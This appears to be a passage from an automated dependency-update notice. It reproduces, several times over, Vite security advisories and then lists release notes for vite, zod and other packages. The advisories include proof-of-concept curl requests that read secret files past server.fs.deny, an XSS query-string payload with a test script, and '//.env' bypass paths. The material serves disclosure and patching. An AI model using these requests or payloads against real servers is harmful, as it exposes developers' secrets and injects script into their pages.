- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem- Populated
vite.config.jswithexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
🚨 Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 23 commits:
release: v6.0.3fix: make handleInvoke interface compatible with invoke (#18876)refactor: fix logic errors found by no-unnecessary-condition rule (#18891)fix: remove CSS import in CJS correctly in some cases (#18885)fix: handle postcss load unhandled rejections (#18886)fix(config): bundle files referenced with imports field (#18887)fix(html): allow unexpected question mark in tag name (#18852)docs: tweak wordings in Environment API doc (#18881)docs: fix typo in v6 announcement (#18884)docs: add SvelteKit to the Environment API story (#18877)docs: fix typo "constrains" to "constraints" (#18879)fix(css): rewrite url when image-set and url exist at the same time (#18868)fix(config): make stacktrace path correct when sourcemap is enabled (#18833)chore: update contributing.md vite version (#18866)docs(api-environment): remove outdated text content (#18856)fix(module-runner): decode uri for file url passed to import (#18837)fix: merge `environments.ssr.resolve` with root `ssr` config (#18857)fix: make result interfaces for `ModuleRunnerTransport#invoke` more explicit (#18851)docs: correct docs about plugin-react-swc (#18762)fix: no permission to create vite config file (#18844)docs(assets): update static asset URL transformation in dev (#18842)fix(deps): update all non-major dependencies (#18853)chore: fix duplicate attributes issue number in comment (#18860)
↗️ vitefu (indirect, 0.2.2 → 1.0.4) · Repo · Changelog
Release Notes
1.0.4
- Allow Vite 6 peer dependency (remove beta support)
1.0.3
- Allow Vite 6 beta peer dependency (experimental support)
NOTE: v1.0.1 and v1.0.2 are hot fixes for the types exports.
1.0.2 (from changelog)
- Duplicate CJS types to correct ESM types export
1.0.1 (from changelog)
- Fix ESM types export
1.0.0
The library is now v1! This release is mostly ceremonial as the API has been stable for a while without any plans to change it. As such, there are no breaking changes.
- Remove top-level await to allow future compatibility to
requireESM code- Export proper ESM and CJS types
0.2.5
- Align
findDepPkgJsonPathimplementation with Vite- Allow Vite 5 peer dependency
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
Release v1.0.4Remove -beta.2 from vite 6 peerDeps (#14)Release v1.0.3Bump vite to fix vulnerabilityAllow Vite 6 beta peer dependency (#13)Release v1.0.2Fix ESM and CJS types (#12)Release v1.0.1Fix ESM typesRelease v1.0.0Fix typesRemove TLA and export proper types (#10)chore: refactor ci to use corepack and package manager via matrix (#11)Release v0.2.5Allow Vite 5 peer dependencyMatch findDepPkgJsonPath implementation to Vite (#9)Release v0.2.4Use `node:fs` version of `realpath` (#7)Release v0.2.3Allow Vite 4 peer dependency
↗️ which-pm (indirect, 2.0.0 → 3.0.0) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ widest-line (indirect, 4.0.1 → 5.0.0) · Repo
Release Notes
5.0.0
Breaking
- Require Node.js 18 0411701
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ yocto-queue (indirect, 0.1.0 → 1.1.1) · Repo
Release Notes
1.1.1
- Fix Node.js 12 compatibility 90ab935
1.1.0
- Add
.peek()method 5bf850c
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ zod (indirect, 3.19.1 → 3.24.1) · Repo · Changelog
Security Advisories 🚨
🚨 Zod denial of service vulnerability
Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.



